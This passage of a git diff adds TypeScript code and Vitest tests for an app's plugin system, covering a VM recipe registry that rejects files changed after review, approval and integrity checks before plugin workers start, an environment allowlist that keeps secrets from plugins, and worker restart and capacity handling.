+    const registry = new PluginVmRecipeRegistry()
+
+    await registry.reconcile([plugin], () => true)
+    expect(registry.list()).toHaveLength(1)
+
+    await registry.reconcile([plugin], () => false)
+    expect(registry.list()).toEqual([])
+    expect(registry.preview(plugin.pluginKey)).toHaveLength(1)
+
+    await registry.reconcile([], () => false)
+    expect(registry.preview(plugin.pluginKey)).toEqual([])
+    expect(registry.error(plugin.pluginKey)).toBeNull()
+  })
+
+  it('refuses recipe bytes changed after the reviewed content identity', async () => {
+    const plugin = await recipePlugin('mutable', [
+      { path: 'recipes/cloud.json', recipe: artifact('cloud') }
+    ])
+    // Exercise the installed-tree identity as well as mutable dev previews.
+    plugin.contentHash = plugin.consentContentHash ?? null
+    const registry = new PluginVmRecipeRegistry()
+
+    await registry.reconcile([plugin], () => true)
+    expect(registry.list()).toHaveLength(1)
+
+    await writeFile(
+      join(plugin.rootDir, 'recipes', 'cloud.json'),
+      JSON.stringify({ ...artifact('cloud'), create: 'changed-after-review' }),
+      'utf8'
+    )
+    await registry.reconcile([plugin], () => true)
+
+    expect(registry.list()).toEqual([])
+    expect(registry.preview(plugin.pluginKey)).toEqual([])
+    expect(registry.error(plugin.pluginKey)).toContain('changed since it was reviewed')
+  })
+})
diff --git a/src/main/plugins/plugin-vm-recipe-registry.ts b/src/main/plugins/plugin-vm-recipe-registry.ts
new file mode 100644
index 000000000..ac2b90d9b
--- /dev/null
+++ b/src/main/plugins/plugin-vm-recipe-registry.ts
@@ -0,0 +1,127 @@
+import type { OrcaVmRecipe } from '../../shared/types'
+import { parsePluginVmRecipeArtifact } from '../../shared/plugins/plugin-vm-recipe-artifact'
+import {
+  PLUGIN_VM_RECIPE_MAX_BYTES,
+  readContainedPluginArtifactText
+} from './plugin-artifact-validation'
+import { mapWithConcurrency } from '../../shared/map-with-concurrency'
+import {
+  isInvalidDiscoveredPlugin,
+  type DiscoveredPlugin,
+  type ValidDiscoveredPlugin
+} from './plugin-discovery'
+import { verifyInstructionalPluginContent } from './plugin-instructional-content-integrity'
+
+const VM_RECIPE_LOAD_CONCURRENCY = 4
+
+export type PluginVmRecipeRegistration = {
+  pluginKey: string
+  recipe: OrcaVmRecipe
+}
+
+type VmRecipeLoadResult =
+  | {
+      pluginKey: string
+      approved: boolean
+      registrations: PluginVmRecipeRegistration[]
+    }
+  | { pluginKey: string; error: string }
+
+export class PluginVmRecipeRegistry {
+  private active: PluginVmRecipeRegistration[] = []
+  private readonly previews = new Map<string, PluginVmRecipeRegistration[]>()
+  private readonly errors = new Map<string, string>()
+
+  list(): readonly PluginVmRecipeRegistration[] {
+    return this.active
+  }
+
+  preview(pluginKey: string): readonly PluginVmRecipeRegistration[] {
+    return this.previews.get(pluginKey) ?? []
+  }
+
+  error(pluginKey: string): string | null {
+    return this.errors.get(pluginKey) ?? null
+  }
+
+  async reconcile(
+    discovered: readonly DiscoveredPlugin[],
+    isApproved: (plugin: ValidDiscoveredPlugin) => boolean
+  ): Promise<void> {
+    const candidates = discovered.filter(
+      (plugin): plugin is ValidDiscoveredPlugin =>
+        !isInvalidDiscoveredPlugin(plugin) && plugin.manifest.contributes.vmRecipes.length > 0
+    )
+    const results = await mapWithConcurrency(
+      candidates,
+      VM_RECIPE_LOAD_CONCURRENCY,
+      async (plugin): Promise<VmRecipeLoadResult> => {
+        try {
+          const approved = isApproved(plugin)
+          const registrations: PluginVmRecipeRegistration[] = []
+          const seen = new Set<string>()
+          for (const contribution of plugin.manifest.contributes.vmRecipes) {
+            const recipe = parsePluginVmRecipeArtifact(
+              await readContainedPluginArtifactText(
+                plugin.rootDir,
+                contribution.path,
+                PLUGIN_VM_RECIPE_MAX_BYTES
+              )
+            )
+            if (seen.has(recipe.id)) {
+              throw new Error(`duplicate VM recipe id "${recipe.id}"`)
+            }
+            seen.add(recipe.id)
+            registrations.push({ pluginKey: plugin.pluginKey, recipe })
+          }
+          // Verify after reading so the in-memory commands shown/activated are
+          // bound to the exact tree identity the user reviewed.
+          await verifyInstructionalPluginContent(plugin)
+          return { pluginKey: plugin.pluginKey, approved, registrations }
+        } catch (error) {
+          return {
+            pluginKey: plugin.pluginKey,
+            error: error instanceof Error ? error.message : String(error)
+          }
+        }
+      }
+    )
+
+    this.previews.clear()
+    this.errors.clear()
+    for (const result of results) {
+      if ('error' in result) {
+        this.errors.set(result.pluginKey, result.error)
+      } else {
+        this.previews.set(result.pluginKey, result.registrations)
+      }
+    }
+    const approved = results.filter(
+      (result): result is Extract<VmRecipeLoadResult, { approved: boolean }> =>
+        'approved' in result && result.approved
+    )
+    const owners = new Map<string, Set<string>>()
+    for (const result of approved) {
+      for (const registration of result.registrations) {
+        const recipeOwners = owners.get(registration.recipe.id) ?? new Set<string>()
+        recipeOwners.add(result.pluginKey)
+        owners.set(registration.recipe.id, recipeOwners)
+      }
+    }
+    const conflicted = new Set<string>()
+    for (const [recipeId, recipeOwners] of owners) {
+      if (recipeOwners.size > 1) {
+        for (const pluginKey of recipeOwners) {
+          conflicted.add(pluginKey)
+          this.errors.set(
+            pluginKey,
+            `VM recipe id "${recipeId}" is contributed by multiple plugins`
+          )
+        }
+      }
+    }
+    this.active = approved
+      .filter((result) => !conflicted.has(result.pluginKey))
+      .flatMap((result) => result.registrations)
+  }
+}
diff --git a/src/main/plugins/plugin-worker-controller.test.ts b/src/main/plugins/plugin-worker-controller.test.ts
new file mode 100644
index 000000000..63e05cd6a
--- /dev/null
+++ b/src/main/plugins/plugin-worker-controller.test.ts
@@ -0,0 +1,166 @@
+import { mkdtemp, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { createPluginExtensionRegistry } from '../../shared/plugins/plugin-extension-registry'
+import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
+import type { PluginContentVerifier } from './plugin-content-integrity'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import type { PluginWorkerHandle } from './plugin-host-process'
+import { PluginWorkerController } from './plugin-worker-controller'
+import type { PluginWorkerFactory } from './plugin-worker-manager'
+
+const roots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+async function plugin(): Promise<ValidDiscoveredPlugin> {
+  const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-worker-controller-'))
+  roots.push(rootDir)
+  await writeFile(join(rootDir, 'main.mjs'), 'export default function activate() {}')
+  return {
+    pluginKey: 'orca-samples.demo',
+    rootDir,
+    manifest: pluginManifestSchema.parse({
+      manifestVersion: 1,
+      id: 'demo',
+      publisher: 'orca-samples',
+      name: 'Demo',
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      main: 'main.mjs',
+      contributes: {
+        panels: [],
+        commands: [{ id: 'run', title: 'Run' }],
+        events: []
+      },
+      capabilities: []
+    }),
+    consentFingerprint: 'sha256-current',
+    contentHash: null,
+    isDev: true
+  }
+}
+
+function worker(commands: string[]): PluginWorkerHandle & { dispose: ReturnType<typeof vi.fn> } {
+  return {
+    commands,
+    invokeCommand: vi.fn(async () => null),
+    deliverEvent: vi.fn(),
+    lastActivityAt: () => Date.now(),
+    inFlightCount: () => 0,
+    dispose: vi.fn(async () => undefined),
+    kill: vi.fn(),
+    onExit: vi.fn()
+  }
+}
+
+function controller(options: {
+  factory: PluginWorkerFactory
+  verify: () => Promise<void>
+  isApproved: () => boolean
+}): PluginWorkerController {
+  return new PluginWorkerController({
+    entryPath: '/host-entry.js',
+    workerFactory: options.factory,
+    registry: createPluginExtensionRegistry(),
+    contentVerifier: { verify: options.verify } as unknown as PluginContentVerifier,
+    capabilities: () => (options.isApproved() ? [] : null),
+    isCurrentApproved: () => options.isApproved(),
+    invokeCommand: vi.fn(async () => null),
+    executeHostCall: vi.fn(async () => ({ ok: true as const, value: null })),
+    log: vi.fn(),
+    onStateChanged: vi.fn(),
+    onWorkerGone: vi.fn()
+  })
+}
+
+describe('PluginWorkerController activation authority', () => {
+  it('does not start code after approval is revoked during integrity verification', async () => {
+    const subjectPlugin = await plugin()
+    let approved = true
+    let finishVerification!: () => void
+    const verification = new Promise<void>((resolve) => {
+      finishVerification = resolve
+    })
+    const factory = vi.fn<PluginWorkerFactory>()
+    const subject = controller({ factory, verify: () => verification, isApproved: () => approved })
+
+    const activation = subject.ensure(subjectPlugin)
+    approved = false
+    finishVerification()
+
+    await expect(activation).rejects.toThrow('no longer approved')
+    expect(factory).not.toHaveBeenCalled()
+    await subject.dispose()
+  })
+
+  it('disposes a worker whose approval changes while the process starts', async () => {
+    const subjectPlugin = await plugin()
+    let approved = true
+    let finishStart!: (handle: PluginWorkerHandle) => void
+    const factory = vi.fn<PluginWorkerFactory>(
+      () => new Promise<PluginWorkerHandle>((resolve) => (finishStart = resolve))
+    )
+    const subject = controller({
+      factory,
+      verify: async () => undefined,
+      isApproved: () => approved
+    })
+    const startedWorker = worker(['run'])
+
+    const activation = subject.ensure(subjectPlugin)
+    await vi.waitFor(() => expect(factory).toHaveBeenCalledOnce())
+    approved = false
+    finishStart(startedWorker)
+
+    await expect(activation).rejects.toThrow('disabled during activation')
+    expect(startedWorker.dispose).toHaveBeenCalledOnce()
+    await subject.dispose()
+  })
+
+  it('rejects and stops workers that register undeclared commands', async () => {
+    const subjectPlugin = await plugin()
+    const startedWorker = worker(['run', 'undeclared'])
+    const subject = controller({
+      factory: vi.fn<PluginWorkerFactory>().mockResolvedValue(startedWorker),
+      verify: async () => undefined,
+      isApproved: () => true
+    })
+
+    await expect(subject.ensure(subjectPlugin)).rejects.toThrow(
+      'registered undeclared command undeclared'
+    )
+    expect(startedWorker.dispose).toHaveBeenCalledOnce()
+    await subject.dispose()
+  })
+
+  it('rejects workers that register declarative action aliases', async () => {
+    const base = await plugin()
+    const subjectPlugin: ValidDiscoveredPlugin = {
+      ...base,
+      manifest: pluginManifestSchema.parse({
+        ...base.manifest,
+        contributes: {
+          ...base.manifest.contributes,
+          commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }]
+        }
+      })
+    }
+    const startedWorker = worker(['tasks'])
+    const subject = controller({
+      factory: vi.fn<PluginWorkerFactory>().mockResolvedValue(startedWorker),
+      verify: async () => undefined,
+      isApproved: () => true
+    })
+
+    await expect(subject.ensure(subjectPlugin)).rejects.toThrow(
+      'registered undeclared command tasks'
+    )
+    expect(startedWorker.dispose).toHaveBeenCalledOnce()
+    await subject.dispose()
+  })
+})
diff --git a/src/main/plugins/plugin-worker-controller.ts b/src/main/plugins/plugin-worker-controller.ts
new file mode 100644
index 000000000..de166175b
--- /dev/null
+++ b/src/main/plugins/plugin-worker-controller.ts
@@ -0,0 +1,171 @@
+import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
+import {
+  PLUGIN_COMMAND_EXTENSION_POINT,
+  type PluginExtensionRegistry
+} from '../../shared/plugins/plugin-extension-registry'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import { resolveContainedPluginArtifact } from './plugin-artifact-validation'
+import type { PluginContentVerifier } from './plugin-content-integrity'
+import {
+  PluginWorkerManager,
+  type PluginWorkerFactory,
+  type PluginWorkerSpawnSpec
+} from './plugin-worker-manager'
+import { buildPluginWorkerSpawnSpec, pluginWorkerSpawnSpecsEqual } from './plugin-worker-spawn-spec'
+import type { PluginWorkerHandle } from './plugin-host-process'
+import type { PluginRunState } from './plugin-supervisor'
+
+export type PluginWorkerControllerOptions = {
+  entryPath: string
+  maxActive?: number
+  idleReapMs?: number
+  workerFactory?: PluginWorkerFactory
+  registry: PluginExtensionRegistry
+  contentVerifier: PluginContentVerifier
+  capabilities: (pluginKey: string) => readonly PluginCapabilityKind[] | null
+  isCurrentApproved: (plugin: ValidDiscoveredPlugin) => boolean
+  invokeCommand: (pluginKey: string, commandId: string, args: unknown) => Promise<unknown>
+  executeHostCall: (
+    pluginKey: string,
+    method: string,
+    params: unknown
+  ) => Promise<PluginPanelActionOutcome>
+  log: (pluginKey: string, level: 'info' | 'warn' | 'error', line: string) => void
+  onStateChanged: (pluginKey: string) => void
+  onWorkerGone: (pluginKey: string) => void
+}
+
+export class PluginWorkerController {
+  private readonly manager: PluginWorkerManager
+  private readonly activationErrors = new Map<string, string>()
+  private readonly registeredSpecs = new Map<string, PluginWorkerSpawnSpec>()
+
+  constructor(private readonly options: PluginWorkerControllerOptions) {
+    this.manager = new PluginWorkerManager({
+      entryPath: options.entryPath,
+      maxActive: options.maxActive,
+      idleReapMs: options.idleReapMs,
+      workerFactory: options.workerFactory,
+      executeHostCall: options.executeHostCall,
+      log: options.log,
+      onWorkerStateChange: options.onStateChanged,
+      onWorkerGone: options.onWorkerGone
+    })
+  }
+
+  state(pluginKey: string): { state: PluginRunState; restarts: number } {
+    return {
+      state: this.manager.runState(pluginKey),
+      restarts: this.manager.restartCount(pluginKey)
+    }
+  }
+
+  activationError(pluginKey: string): string | null {
+    return this.activationErrors.get(pluginKey) ?? null
+  }
+
+  async ensure(plugin: ValidDiscoveredPlugin): Promise<PluginWorkerHandle> {
+    if (!plugin.manifest.main) {
+      throw new Error(`plugin ${plugin.pluginKey} has no worker entry`)
+    }
+    try {
+      this.assertCurrentApproved(plugin)
+      await this.options.contentVerifier.verify(plugin)
+      await resolveContainedPluginArtifact(plugin.rootDir, plugin.manifest.main)
+      this.assertCurrentApproved(plugin)
+      const capabilities = this.options.capabilities(plugin.pluginKey)
+      if (!capabilities) {
+        throw new Error(`plugin ${plugin.pluginKey} is no longer approved`)
+      }
+      const spec = buildPluginWorkerSpawnSpec(plugin, capabilities)
+      const handle = await this.manager.ensureActive(spec)
+      if (!this.options.isCurrentApproved(plugin)) {
+        await this.manager.deactivate(plugin.pluginKey)
+        throw new Error(`plugin ${plugin.pluginKey} changed or was disabled during activation`)
+      }
+      const declaredCommands = new Set(
+        plugin.manifest.contributes.commands
+          .filter((command) => command.action === undefined)
+          .map((command) => command.id)
+      )
+      const undeclaredCommand = handle.commands.find((command) => !declaredCommands.has(command))
+      if (undeclaredCommand) {
+        await this.manager.deactivate(plugin.pluginKey)
+        throw new Error(
+          `plugin ${plugin.pluginKey} registered undeclared command ${undeclaredCommand}`
+        )
+      }
+      this.activationErrors.delete(plugin.pluginKey)
+      this.registerCommands(plugin, spec, handle.commands)
+      return handle
+    } catch (error) {
+      this.activationErrors.set(
+        plugin.pluginKey,
+        error instanceof Error ? error.message : String(error)
+      )
+      this.options.onStateChanged(plugin.pluginKey)
+      throw error
+    }
+  }
+
+  private assertCurrentApproved(plugin: ValidDiscoveredPlugin): void {
+    if (!this.options.isCurrentApproved(plugin)) {
+      throw new Error(`plugin ${plugin.pluginKey} changed or is no longer approved`)
+    }
+  }
+
+  async reconcile(nextSpecs: ReadonlyMap<string, PluginWorkerSpawnSpec>): Promise<void> {
+    const current = new Map([...this.registeredSpecs, ...this.manager.trackedSpecs()])
+    for (const [pluginKey, spec] of current) {
+      const next = nextSpecs.get(pluginKey)
+      if (next && pluginWorkerSpawnSpecsEqual(spec, next)) {
+        continue
+      }
+      this.options.registry.clearPlugin(pluginKey)
+      this.registeredSpecs.delete(pluginKey)
+      this.activationErrors.delete(pluginKey)
+      await this.manager.deactivate(pluginKey)
+    }
+  }
+
+  async deactivate(pluginKey: string): Promise<void> {
+    this.options.registry.clearPlugin(pluginKey)
+    this.registeredSpecs.delete(pluginKey)
+    this.activationErrors.delete(pluginKey)
+    await this.manager.deactivate(pluginKey)
+  }
+
+  reapIdle(): void {
+    this.manager.reapIdle()
+  }
+
+  deliverEventIfRunning(pluginKey: string, event: PluginEventName, payload: unknown): void {
+    this.manager.deliverEventIfRunning(pluginKey, event, payload)
+  }
+
+  dispose(): Promise<void> {
+    return this.manager.disposeAll()
+  }
+
+  private registerCommands(
+    plugin: ValidDiscoveredPlugin,
+    spec: PluginWorkerSpawnSpec,
+    commands: readonly string[]
+  ): void {
+    this.options.registry.clearPlugin(plugin.pluginKey)
+    for (const commandId of commands) {
+      this.options.registry.register(
+        PLUGIN_COMMAND_EXTENSION_POINT,
+        plugin.pluginKey,
+        {
+          commandId,
+          invoke: (args) => this.options.invokeCommand(plugin.pluginKey, commandId, args)
+        },
+        commandId
+      )
+    }
+    this.registeredSpecs.set(plugin.pluginKey, spec)
+  }
+}
diff --git a/src/main/plugins/plugin-worker-env.test.ts b/src/main/plugins/plugin-worker-env.test.ts
new file mode 100644
index 000000000..1e90a0bd1
--- /dev/null
+++ b/src/main/plugins/plugin-worker-env.test.ts
@@ -0,0 +1,21 @@
+import { describe, expect, it } from 'vitest'
+import { buildPluginWorkerEnv } from './plugin-worker-env'
+
+describe('buildPluginWorkerEnv', () => {
+  it('matches allowlisted keys case-sensitively on POSIX', () => {
+    expect(
+      buildPluginWorkerEnv(
+        { PATH: '/safe', path: '/wrong', HOME: '/home', NODE_OPTIONS: '--inspect' },
+        'linux'
+      )
+    ).toEqual({ PATH: '/safe', HOME: '/home', ELECTRON_RUN_AS_NODE: '1' })
+  })
+
+  it('matches Windows environment keys case-insensitively', () => {
+    expect(buildPluginWorkerEnv({ Path: 'C:\\safe', systemroot: 'C:\\Windows' }, 'win32')).toEqual({
+      PATH: 'C:\\safe',
+      SystemRoot: 'C:\\Windows',
+      ELECTRON_RUN_AS_NODE: '1'
+    })
+  })
+})
diff --git a/src/main/plugins/plugin-worker-env.ts b/src/main/plugins/plugin-worker-env.ts
new file mode 100644
index 000000000..3dbe09b49
--- /dev/null
+++ b/src/main/plugins/plugin-worker-env.ts
@@ -0,0 +1,52 @@
+/**
+ * Scrubbed environment for plugin workers. Deliberately an allowlist — the
+ * app's own environment can carry secrets (tokens exported in the user's
+ * shell, CI credentials); plugins must not inherit it. This intentionally
+ * diverges from the sidecar precedent, which spreads the full process.env.
+ */
+
+const WORKER_ENV_ALLOWLIST = [
+  'PATH',
+  'HOME',
+  'USERPROFILE',
+  'LANG',
+  'LC_ALL',
+  'LC_CTYPE',
+  'TZ',
+  'TMPDIR',
+  'TEMP',
+  'TMP',
+  // Why: Windows Node/libuv need these to resolve DLLs and the machine root.
+  'SYSTEMROOT',
+  'SYSTEMDRIVE',
+  'WINDIR',
+  'COMSPEC',
+  'PATHEXT',
+  'PROCESSOR_ARCHITECTURE',
+  'NUMBER_OF_PROCESSORS'
+] as const
+
+export function buildPluginWorkerEnv(
+  baseEnv: NodeJS.ProcessEnv = process.env,
+  platform: NodeJS.Platform = process.platform
+): Record<string, string> {
+  const env: Record<string, string> = {}
+  const windowsLookup = new Map<string, string>()
+  if (platform === 'win32') {
+    // Why: Windows environment keys are case-insensitive, while POSIX keys
+    // are not; folding on every platform could promote an attacker-set `path`.
+    for (const [key, value] of Object.entries(baseEnv)) {
+      if (typeof value === 'string') {
+        windowsLookup.set(key.toUpperCase(), value)
+      }
+    }
+  }
+  for (const key of WORKER_ENV_ALLOWLIST) {
+    const value = platform === 'win32' ? windowsLookup.get(key) : baseEnv[key]
+    if (value !== undefined) {
+      env[key === 'SYSTEMROOT' ? 'SystemRoot' : key] = value
+    }
+  }
+  env.ELECTRON_RUN_AS_NODE = '1'
+  return env
+}
diff --git a/src/main/plugins/plugin-worker-manager.test.ts b/src/main/plugins/plugin-worker-manager.test.ts
new file mode 100644
index 000000000..932199a7e
--- /dev/null
+++ b/src/main/plugins/plugin-worker-manager.test.ts
@@ -0,0 +1,375 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { PluginWorkerHandle } from './plugin-host-process'
+import {
+  PluginWorkerManager,
+  type PluginWorkerFactory,
+  type PluginWorkerSpawnSpec
+} from './plugin-worker-manager'
+
+type TestWorker = PluginWorkerHandle & {
+  exit(code?: number | null): void
+  dispose: ReturnType<typeof vi.fn<() => Promise<void>>>
+}
+
+function worker(lastActivity = Date.now()): TestWorker {
+  const exitCallbacks: ((code: number | null) => void)[] = []
+  return {
+    commands: ['run'],
+    invokeCommand: vi.fn(async () => null),
+    deliverEvent: vi.fn(),
+    lastActivityAt: () => lastActivity,
+    inFlightCount: () => 0,
+    dispose: vi.fn(async () => undefined),
+    kill: vi.fn(),
+    onExit: (callback) => exitCallbacks.push(callback),
+    exit: (code = 1) => {
+      for (const callback of exitCallbacks) {
+        callback(code)
+      }
+    }
+  }
+}
+
+function spec(pluginKey: string): PluginWorkerSpawnSpec {
+  return {
+    pluginKey,
+    rootDir: `/plugins/${pluginKey}`,
+    mainEntry: 'worker.js',
+    grantedCapabilities: []
+  }
+}
+
+function manager(
+  factory: PluginWorkerFactory,
+  options: { maxActive?: number; idleReapMs?: number } = {}
+): PluginWorkerManager {
+  return new PluginWorkerManager({
+    entryPath: '/host.js',
+    workerFactory: factory,
+    maxActive: options.maxActive,
+    idleReapMs: options.idleReapMs,
+    executeHostCall: async () => ({ ok: true, value: null }),
+    log: vi.fn(),
+    onWorkerStateChange: vi.fn(),
+    onWorkerGone: vi.fn()
+  })
+}
+
+async function flush(): Promise<void> {
+  await Promise.resolve()
+  await Promise.resolve()
+  await Promise.resolve()
+}
+
+afterEach(() => {
+  vi.useRealTimers()
+})
+
+describe('PluginWorkerManager capacity', () => {
+  it('atomically counts in-flight starts against maxActive', async () => {
+    const starts: { key: string; resolve: (handle: TestWorker) => void }[] = []
+    const factory = vi.fn<PluginWorkerFactory>(
+      ({ pluginId }) => new Promise((resolve) => starts.push({ key: pluginId, resolve }))
+    )
+    const subject = manager(factory, { maxActive: 1 })
+
+    const first = subject.ensureActive(spec('one'))
+    const second = subject.ensureActive(spec('two'))
+    const third = subject.ensureActive(spec('three'))
+    await flush()
+
+    expect(starts.map((start) => start.key)).toEqual(['one'])
+    starts[0]!.resolve(worker())
+    await first
+    await subject.deactivate('one')
+    await flush()
+    expect(starts.map((start) => start.key)).toEqual(['one', 'two'])
+
+    starts[1]!.resolve(worker())
+    await second
+    await subject.deactivate('two')
+    await flush()
+    expect(starts.map((start) => start.key)).toEqual(['one', 'two', 'three'])
+    starts[2]!.resolve(worker())
+    await third
+    await subject.disposeAll()
+  })
+
+  it('removes a cancelled waiter without disturbing FIFO order', async () => {
+    const starts: { key: string; resolve: (handle: TestWorker) => void }[] = []
+    const factory = vi.fn<PluginWorkerFactory>(
+      ({ pluginId }) => new Promise((resolve) => starts.push({ key: pluginId, resolve }))
+    )
+    const subject = manager(factory, { maxActive: 1 })
+    const first = subject.ensureActive(spec('one'))
+    const cancelled = subject.ensureActive(spec('two'))
+    const third = subject.ensureActive(spec('three'))
+    await flush()
+    starts[0]!.resolve(worker())
+    await first
+
+    await subject.deactivate('two')
+    await expect(cancelled).rejects.toThrow('cancelled')
+    await subject.deactivate('one')
+    await flush()
+
+    expect(starts.map((start) => start.key)).toEqual(['one', 'three'])
+    starts[1]!.resolve(worker())
+    await third
+    await subject.disposeAll()
+  })
+
+  it('releases a failed start so the next FIFO waiter can run', async () => {
+    vi.useFakeTimers()
+    const secondWorker = worker()
+    const factory = vi.fn<PluginWorkerFactory>(async ({ pluginId }) => {
+      if (pluginId === 'one') {
+        throw new Error('ready failed')
+      }
+      return secondWorker
+    })
+    const subject = manager(factory, { maxActive: 1 })
+    const first = subject.ensureActive(spec('one'))
+    const firstSettled = first.catch(() => undefined)
+    const second = subject.ensureActive(spec('two'))
+
+    await flush()
+    await expect(second).resolves.toBe(secondWorker)
+    expect(factory.mock.calls.map(([options]) => options.pluginId)).toEqual(['one', 'two'])
+    await subject.deactivate('one')
+    await firstSettled
+    await subject.disposeAll()
+  })
+
+  it('cancels an in-flight start without allowing its generation to land', async () => {
+    const factory = vi.fn<PluginWorkerFactory>(
+      ({ signal }) =>
+        new Promise((_resolve, reject) => {
+          signal.addEventListener('abort', () => reject(new Error('factory cancelled')), {
+            once: true
+          })
+        })
+    )
+    const subject = manager(factory)
+    const activation = subject.ensureActive(spec('starting'))
+    await flush()
+
+    await subject.deactivate('starting')
+
+    await expect(activation).rejects.toThrow('cancelled')
+    expect(subject.runState('starting')).toBe('inactive')
+    expect(subject.trackedSpecs().has('starting')).toBe(false)
+    await subject.disposeAll()
+  })
+
+  it('disposes running workers and rejects queued waiters', async () => {
+    const first = worker()
+    const factory = vi.fn<PluginWorkerFactory>(async ({ pluginId }) => {
+      if (pluginId === 'one') {
+        return first
+      }
+      return new Promise<PluginWorkerHandle>(() => undefined)
+    })
+    const subject = manager(factory, { maxActive: 1 })
+    await subject.ensureActive(spec('one'))
+    const queued = subject.ensureActive(spec('two'))
+    const queuedSettled = queued.catch((error) => error)
+    await flush()
+
+    await subject.disposeAll()
+
+    expect(first.dispose).toHaveBeenCalledOnce()
+    await expect(queuedSettled).resolves.toBeInstanceOf(Error)
+    expect(factory).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('PluginWorkerManager restart policy', () => {
+  it('cancels a stale in-flight revision instead of joining it by plugin key', async () => {
+    const currentWorker = worker()
+    const factory = vi.fn<PluginWorkerFactory>(({ rootDir, signal }) => {
+      if (rootDir === '/plugins/old') {
+        return new Promise((_resolve, reject) => {
+          signal.addEventListener('abort', () => reject(new Error('old revision cancelled')), {
+            once: true
+          })
+        })
+      }
+      return Promise.resolve(currentWorker)
+    })
+    const subject = manager(factory)
+    const oldSpec = { ...spec('demo'), rootDir: '/plugins/old', manifestRevision: 'old' }
+    const newSpec = { ...spec('demo'), rootDir: '/plugins/new', manifestRevision: 'new' }
+
+    const oldActivation = subject.ensureActive(oldSpec)
+    await flush()
+    const currentActivation = subject.ensureActive(newSpec)
+
+    await expect(oldActivation).rejects.toThrow('cancelled')
+    await expect(currentActivation).resolves.toBe(currentWorker)
+    expect(factory.mock.calls.map(([options]) => options.rootDir)).toEqual([
+      '/plugins/old',
+      '/plugins/new'
+    ])
+    await subject.disposeAll()
+  })
+
+  it('retries startup failures at 500/2000/5000ms before errored', async () => {
+    vi.useFakeTimers()
+    const factory = vi.fn<PluginWorkerFactory>(async () => {
+      throw new Error('not ready')
+    })
+    const subject = manager(factory)
+    const activation = subject.ensureActive(spec('demo'))
+    let failure: unknown
+    const settled = activation.catch((error) => {
+      failure = error
+    })
+
+    await flush()
+    expect(factory).toHaveBeenCalledTimes(1)
+    expect(subject.restartCount('demo')).toBe(1)
+    expect(subject.runState('demo')).toBe('restarting')
+    await vi.advanceTimersByTimeAsync(499)
+    expect(factory).toHaveBeenCalledTimes(1)
+    await vi.advanceTimersByTimeAsync(1)
+    expect(factory).toHaveBeenCalledTimes(2)
+    await vi.advanceTimersByTimeAsync(2_000)
+    expect(factory).toHaveBeenCalledTimes(3)
+    await vi.advanceTimersByTimeAsync(5_000)
+    await settled
+
+    expect(factory).toHaveBeenCalledTimes(4)
+    expect(subject.runState('demo')).toBe('errored')
+    expect(failure).toBeInstanceOf(Error)
+    await subject.disposeAll()
+  })
+
+  it('joins triggers during backoff without resetting restart history', async () => {
+    vi.useFakeTimers()
+    const ready = worker()
+    const factory = vi.fn<PluginWorkerFactory>(async () => {
+      if (factory.mock.calls.length === 1) {
+        throw new Error('first start failed')
+      }
+      return ready
+    })
+    const subject = manager(factory)
+    const first = subject.ensureActive(spec('demo'))
+    await flush()
+    const joined = subject.ensureActive(spec('demo'))
+
+    expect(subject.restartCount('demo')).toBe(1)
+    expect(factory).toHaveBeenCalledTimes(1)
+    await vi.advanceTimersByTimeAsync(500)
+
+    await expect(Promise.all([first, joined])).resolves.toEqual([ready, ready])
+    expect(factory).toHaveBeenCalledTimes(2)
+    expect(subject.restartCount('demo')).toBe(1)
+    await subject.disposeAll()
+  })
+
+  it('applies the same backoff history to unexpected post-ready exits', async () => {
+    vi.useFakeTimers()
+    const workers = [worker(), worker(), worker(), worker()]
+    const factory = vi.fn<PluginWorkerFactory>(async () => workers[factory.mock.calls.length - 1]!)
+    const subject = manager(factory)
+
+    await subject.ensureActive(spec('demo'))
+    workers[0]!.exit(11)
+    expect(subject.runState('demo')).toBe('restarting')
+    await vi.advanceTimersByTimeAsync(500)
+    expect(factory).toHaveBeenCalledTimes(2)
+    workers[1]!.exit(12)
+    expect(subject.runState('demo')).toBe('restarting')
+    await vi.advanceTimersByTimeAsync(2_000)
+    expect(factory).toHaveBeenCalledTimes(3)
+    workers[2]!.exit(13)
+    expect(subject.runState('demo')).toBe('restarting')
+    await vi.advanceTimersByTimeAsync(5_000)
+    expect(factory).toHaveBeenCalledTimes(4)
+    workers[3]!.exit(14)
+
+    expect(subject.runState('demo')).toBe('errored')
+    expect(subject.restartCount('demo')).toBe(3)
+    await subject.disposeAll()
+  })
+
+  it('cancels a pending restart and never resurrects after deactivate', async () => {
+    vi.useFakeTimers()
+    const first = worker()
+    const factory = vi.fn<PluginWorkerFactory>(async () => first)
+    const subject = manager(factory)
+    await subject.ensureActive(spec('demo'))
+    first.exit()
+    expect(subject.restartCount('demo')).toBe(1)
+
+    await subject.deactivate('demo')
+    await vi.advanceTimersByTimeAsync(10_000)
+
+    expect(factory).toHaveBeenCalledTimes(1)
+    expect(subject.runState('demo')).toBe('inactive')
+    await subject.disposeAll()
+  })
+})
+
+describe('PluginWorkerManager idle reap', () => {
+  it('does not reap a worker while an event handler is still in flight', async () => {
+    const busy = worker(100)
+    busy.inFlightCount = () => 1
+    const subject = manager(vi.fn<PluginWorkerFactory>().mockResolvedValue(busy), {
+      idleReapMs: 100
+    })
+    await subject.ensureActive(spec('demo'))
+
+    subject.reapIdle(10_000)
+
+    expect(busy.dispose).not.toHaveBeenCalled()
+    expect(subject.runState('demo')).toBe('running')
+    await subject.disposeAll()
+  })
+
+  it('disposes an idle worker and activates a fresh generation on demand', async () => {
+    const first = worker(100)
+    const second = worker(1_000)
+    const factory = vi
